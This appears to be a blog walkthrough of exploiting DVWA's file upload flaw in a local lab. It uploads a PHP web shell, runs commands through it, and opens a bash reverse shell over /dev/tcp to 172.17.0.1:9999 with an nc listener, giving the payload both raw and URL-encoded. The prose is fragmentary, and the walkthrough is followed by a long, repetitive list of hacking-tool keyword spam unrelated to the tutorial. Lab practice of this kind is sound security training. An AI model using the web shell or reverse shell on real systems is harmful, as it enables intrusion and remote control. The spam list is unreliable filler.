For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
echo TESTUPLOAD > test.txt
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt
<?php phpinfo(); ?>
http://localhost:9000/hackable/uploads/info.php
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php system($_GET["cmd"]); ?>
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami
ifconfig docker0
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
nc -lvnp 9999
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
nc -lvnp 9999
That's it for today have fun.
References:
- Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
- Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
More info
- Hacker Security Tools
- Pentest Tools List
- Hack Tools Mac
- What Is Hacking Tools
- Hacker Tools Linux
- World No 1 Hacker Software
- Hacker Tools 2020
- Tools Used For Hacking
- Pentest Tools Subdomain
- Hacks And Tools
- Tools Used For Hacking
- Hacker Tools Online
- Pentest Box Tools Download
- Best Hacking Tools 2020
- Kik Hack Tools
- Hacker Tools 2020
- Hacking Tools Download
- Hacking Tools For Mac
- Hackrf Tools
- Computer Hacker
- Hack Tools For Games
- Hack Apps
- Tools 4 Hack
- Hacker Search Tools
- Hacking Tools Windows
- Hacking Tools For Windows
- Best Pentesting Tools 2018
- Hacking Tools Online
- Pentest Tools Nmap
- Hacking Tools Online
- Nsa Hacker Tools
- Pentest Tools Android
- Hacking Tools Windows
- Hacks And Tools
- Hacker Tools Software
- Hack Tools 2019
- Hackrf Tools
- Hacker Search Tools
- World No 1 Hacker Software
- Hack Tools For Windows
- Hacking Tools Mac
- Hacker Tools For Ios
- Hacking Tools Hardware
- Pentest Tools Review
- Hacking Tools Windows 10
- What Is Hacking Tools
- Pentest Tools Linux
- Hacking Tools 2019
- Wifi Hacker Tools For Windows
- Pentest Tools Alternative
- Hacking Tools Software
- Termux Hacking Tools 2019
- Pentest Tools Android
- Hack Tools Github
- Computer Hacker
- Easy Hack Tools
- Best Hacking Tools 2019
- Pentest Tools Port Scanner
- Hacker Tools Software
- Pentest Tools Apk
- Blackhat Hacker Tools
- Hack Rom Tools
- Hak5 Tools
- Hacker Tools List
- Pentest Tools Github
- Ethical Hacker Tools
- Hacks And Tools
- Hacker
- Hacker Security Tools
- Pentest Tools Bluekeep
- Hacking Tools For Windows 7
- Hack And Tools
- Hacking Tools Windows
- Hack Tools
- Hack Tools For Windows
- Nsa Hacker Tools
- Ethical Hacker Tools
- Pentest Tools Online
- Hacker Tools Free Download
- Hacking Tools For Windows Free Download
- Pentest Box Tools Download
- Hacking Tools For Beginners
- Hack Rom Tools
- Android Hack Tools Github
- Pentest Tools Review
- Hackers Toolbox
- Hacking Tools Free Download
- Hacking App
- Pentest Tools
- Easy Hack Tools
- Hacker
- Hack Tools 2019
- Pentest Tools Url Fuzzer
- Pentest Tools Url Fuzzer
- Pentest Tools Download
- Hacking Tools 2019
- Hack Rom Tools
- Hacker Tools Apk
- Hacking Tools Usb
- Hacking Tools And Software
- Hacker Tools Software
- Bluetooth Hacking Tools Kali
- Pentest Tools Subdomain
- Hack Tools
- Hack Tools
- Hacking Tools 2020
- Hacker Tools For Mac
- Best Hacking Tools 2019
- Hack Tools For Pc
- Beginner Hacker Tools
- Hacking Tools Software
- Hacking Tools 2020
- Hacker Tools
- What Is Hacking Tools
- Pentest Tools Framework
- How To Make Hacking Tools
- Android Hack Tools Github
- Hacking Tools For Games
- Kik Hack Tools
- Pentest Tools Tcp Port Scanner
- Beginner Hacker Tools
- Tools For Hacker
- Pentest Tools Nmap
- Pentest Tools Online
- Android Hack Tools Github
- Hacking Tools Windows 10
- Hacking Tools Usb
- Pentest Tools Tcp Port Scanner
- Pentest Tools Github
- Hacker Tools Apk
- Hack Tools For Mac
- Pentest Tools Bluekeep
- Pentest Tools Online
- Nsa Hack Tools Download
- Hacking Tools For Mac
- Hacking Tools For Games
- Hacker Tools Hardware
- Hack And Tools
- Hacking Tools For Windows 7
- Pentest Tools For Mac
- Hack Tools For Mac
- What Are Hacking Tools
- Pentest Tools Free
- Hack Tools Download
- Black Hat Hacker Tools
- Beginner Hacker Tools
- Underground Hacker Sites
- Hacking Tools For Windows 7
- Hacker Tools List
- Best Hacking Tools 2019
- Pentest Tools List
- Hacking Tools Online